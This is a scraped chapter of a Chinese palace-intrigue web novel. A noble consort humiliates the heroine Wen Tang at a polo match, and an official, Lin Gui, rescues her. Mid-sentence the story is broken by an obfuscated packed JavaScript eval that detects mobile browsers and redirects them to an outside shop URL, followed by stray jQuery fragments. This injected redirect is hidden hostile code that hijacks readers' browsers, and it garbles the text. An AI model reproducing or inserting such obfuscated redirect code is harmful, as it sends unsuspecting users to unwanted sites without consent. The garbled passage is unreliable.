文趣网 > 其他小说 > 渡归途 > 26. 回护
    是有人唤她吗?温棠没有转身,应该是在喊别人吧,照汀不在这,何况喊阿珩的是个有些陌生的男子的声音。

    脚步声在她身后停下,显然是在等她转过身确认。

    看清来人时,两人都愣在原处。

    温棠实在有些欲哭无泪,早知在这里会遇到他,方才就该直接离开了。她一下子也不知是该直接装作忘记他了好一些,还是和他讲清楚,不要把她过去的身份说出去。

    她相信沈照汀,却不能完全放心梅止舟。她总归就这么两三个故人,全都遇上了。

    “阿...温姑娘。你回京了?”

    这说了句废话。

    “你不是也回京了吗?”

    梅止舟微微一愣:“我本来还想问你为何不来找我,我才想起来,你应当也不知我回京了。”

    “...”她就算知道也不会去找他的。

    梅止舟有些着急:“可你怎么能回京呢?”

    听到这话,温棠不明所以地看着他。

    梅止舟皱着眉,向她靠近一步:“我的意思是,如今虽已大赦天下,温大人的罪名本身也没有连累到你...但,你回京若是被人认出会被有心之人利用的。”

    温棠松了一口气,倒是免去了一番口舌。

    “阿珩...”

    话还未说完,有郎君来寻他,提醒他赵司迎在找他。

    梅止舟有些为难的看向她:“你如今住在何处?”

    “西街附近。”

    他轻轻点头,温棠接着说:“快去吧,晚点我还要见个人,就不和你一起了。”

    梅止舟张了张嘴,复而说道:“若是有事,便去梅府寻我。”

    她确实要去见人,王锦书也在马球会,她们二人许久不见,更重要的是,温棠想借机在贵妇们前再露次脸。

    马球场上,几个年少的郎君和女娘驰骋着,沈照汀不在彩棚。王锦书十分惊喜地拉住温棠的手,带她在彩棚里与其他贵妇们闲聊。

    有个身着宫中襦裙的小宫女悄悄走近温棠,在她耳边低声说:“娘子,沈妃娘娘在寻你。”

    除了知夏,应当无人知晓她和照汀的关系,应当是知夏手下的小宫女。

    温棠随着小宫女顺着彩棚一侧走去,恰好迎面遇上走来的身着华丽的妇人,大抵是哪位宫妃。她不认识此人,只微微低头欠身,恭敬地避让。

    来人在她面前慢步停下,温棠低着头,刚好能看到来人鞋尖绣着精巧的绣花和缀着的珍珠。

    温棠仍是低着头,听到这人问她:“叫什么名字?”

    其实上京城如今认识她的人,大多都只知道她姓温,也无人探究她的闺名,就连王锦书亦是如此。

    温棠抬起头,看到一张明艳出众的脸,她不能确定此人是哪位宫妃。周围已有人陆续看向此处。

    “不愿说吗?”

    “温...“

    啪的一声,温棠的头已经狠狠甩向右侧。附近的人闻声皆迅速跪下,温棠后退一步,也直直跪下。

    一股钻心的痛意从两膝处传来,她方才未曾留意,她所跪之处被铺满了锋利的细碎石子。

    “皇嫂这是在做什么。”

    “收拾个不长眼的人。本宫方才发现丢了一支珠钗,原也没什么,凑巧那支是官家御赐之物。本宫着人在此处寻,恰好遇到她鬼祟离开。”

    “这样凭空揣测,也不合适吧。今日是我筹办的马球会,皇嫂不如卖我个面子,官家那里定不会多说什么。”

    赵司迎不知道眼前的这个小女娘何处得罪了贵妃,但她的场面,断不能容贵妃肆意生事。

    温棠仍旧跪着,额头上已经渗出了细密的冷汗。

    陈贵妃冷冷的看向赵司迎:“怎么,你的话,官家就一定会听?”

    赵司迎眯着眼睛冷笑着:“我也是怕传出去有碍皇嫂的名声。”

    “那要是卖端阳个面子...也不是不行。”陈贵妃轻摇了下头,笑着看向跪着的人,“那便让她褪去外衫,若是真的没有那支珠钗,就放她离开。”

    端阳在她身后飞快的翻了下眼睛,暗自在心中骂着,却很清楚贵妃还能做出更狠绝的事。

    能进入今日的马球会,再如何尊贵,可此时,也不过一条普通百姓的命而已。

    王锦书和其余人一同站在远处,听不清此处的人在说些什么,但光看情形她就已急得跺脚。

    陈夫人一人坐在彩棚看台上,冲着温棠使着眼色,暗示她忍下。

    梅止舟稍近一些,眼神中同样带着焦急,却无奈地冲着温棠摇了摇头。

    温棠闭上了眼睛,无法再忍下一口气,但也别无他法,她不想将命丢在这里。温棠,照汀肯定还在马球会,定会得知消息,无妨的,不过是褪下外衫,定不会死在这里。

    她伸手拉住最外一层的绿色衫裙,从两肩开始缓缓褪下。膝盖处和心口一起痛着,痛得她双手都在颤抖。

    她直直的跪着,最外层的外衫已被褪下。贵妃站在原处,径直看向温棠的目光,让其继续。

    温棠闭上眼睛,微微张开嘴喘着气,双手紧握成拳。她吐出一口气,拉住了第二层衣衫。

    “够了!”赵司迎大怒。

    陈贵妃抬眼看去:“端阳这是在气什么,她若没偷,本宫自然会放她走。”

    “娘娘。”

    来人声音不大,却让在场的人都面色大变。温棠瞪大眼睛,感觉整个人都被定在了原地。

    林归走到几人身边,没有去看跪着的温棠,欠着身子向赵司迎行礼:“殿下。”

    赵司迎感觉心中的怒火马上就要冲出胸膛。

    林归转而看向陈贵妃,恭敬地问道:“娘娘这是有何不快之事,臣远远听到此处的声音,以为是娘娘有何不测。”林归垂首看着温棠,神情未变,“可如今看着,倒是臣打扰了娘娘自个寻乐子,想是今日的马球无趣。”

    陈贵妃见林归来此,气势弱了下去。她和林归之间并无交集,但也知道他的声名,不想主动惹上此人。

    “可不是本宫寻乐子,此人偷了本宫的珠钗。难不成,皇城司如今还管这事?”

    “为娘娘分忧,本也是臣之责。娘娘且看下丢的珠钗,可是此物。”

    林归的掌心放着一个累丝的金钗,昂首的凤凰立于钗头,凤尾飘逸纤细。

    陈贵妃蓦的一愣,下意识想开口反驳:“这...”

    “不是的话娘娘也不用忧心,臣也可以问下官家御赐珠钗的样式,臣托大梁最好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563306|204612||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的工匠再打造一副相似的,只要能为官家和娘娘分忧。”

    宫女接过珠钗,陈贵妃定睛瞧了瞧,勉强提起僵住的唇角:“许是方才落下的,找到了就好。”

    “这可不是方才落下的,臣刚来马球场时,便看到了这支凤钗,本打算晚些时候见到了长公主殿下再交还的。”

    他分明胡说,这钗子是陈贵妃方才藏起来的。可她不好反驳,只能维持着笑脸,强咽下一口心中的恶气。

    “看来确实是这支,找到了便好。”林归弯下腰,捡起温棠褪下的外衫罩在她单薄的肩上,倾身看向她的眼睛,“这怎么还跪着呢,别让人以为是娘娘和殿下起了龌龊,故意欺负外人。”

    赵司迎听了他的话,知道事情已了,不愿和他多待,甩了下衣袖离开了此处。

    林归冲着温棠伸出手,他此时的声音像是带着某些诱惑,和温棠平时私下相处着的林归不一样。

    温棠将手放到他的手上,林归一发力,便将她拉起。

    受伤的膝盖突然改变了重心,温棠踉跄一下。林归悄然握住她的手,撑住了她。

    “姑娘伤的不轻啊。”他转身看向同样看着他们二人的贵妃,微微欠了下身,“既如此,臣就不在这给娘娘添堵了,这姑娘臣也先帮娘娘带走了,日后再进宫同官家和娘娘请罪。”

    林归觉得自己浑身的血液都在冲撞着,他将温棠身上的衣服拢好,打横将她抱起,也不去看怀中的人,自己背对着众人所在的彩棚,离开了马球会。

    对于此事,温棠心中是有底的,唯独不确定它日后的影响。但如今被林归抱离这里,她感觉自己浑身都紧绷着,心中涌起异样的莫名情绪。

    林归带着她回到马车中,看着温棠还没来得及整理的外衫,很想将自己身上的外衫也给她披上,最终还是没有动。

    他像是又变回了温棠所熟悉的样子,轻着声音问她:“家中有备着的伤药吗?”

    温棠仍是呆滞地看着某处,好像没听见他的话。

    林归心中一紧,将声音放得更低,试探着和她商量:“若是没有,先去我的府上,晚些时候让剑钊送你回家,好不好。”

    温棠还是没有回答,林归只得沉默下来,等着她的选择。

    她皱着眉开口:“贵妃为何想要专门折磨我,难道是因为...”

    温棠突然止住话语,看着林归。

    两人四目相对,他才反应过来温棠刚才根本没有听他的话。

    他松下一口气:“自是因为她不好公然和沈妃作对。”

    温棠被他的话说的一愣,她虽然有所猜测,却不知林归也知道她们二人的关系。

    林归坐直身子看着她,耐心和她解释:“沈妃娘娘最得官家偏宠,而贵妃是陈旌合的义女。半路的父女,也不会容忍官家宠爱他人。如同上一回的荷花宴只有沈妃在,这一回便不会只有她一人。”

    “你和沈妃娘娘刚才见面,定是被她注意到了。”

    温棠恍然:“怪不得。”

    说完她又皱着眉低垂下眼睫,林归了然,叹了口气。

    “不必忧心,我会让剑钊把此事传出部分,其余人只会知道是贵妃故意生事。”他交握着双手,“那现在,先和我去我的府上?”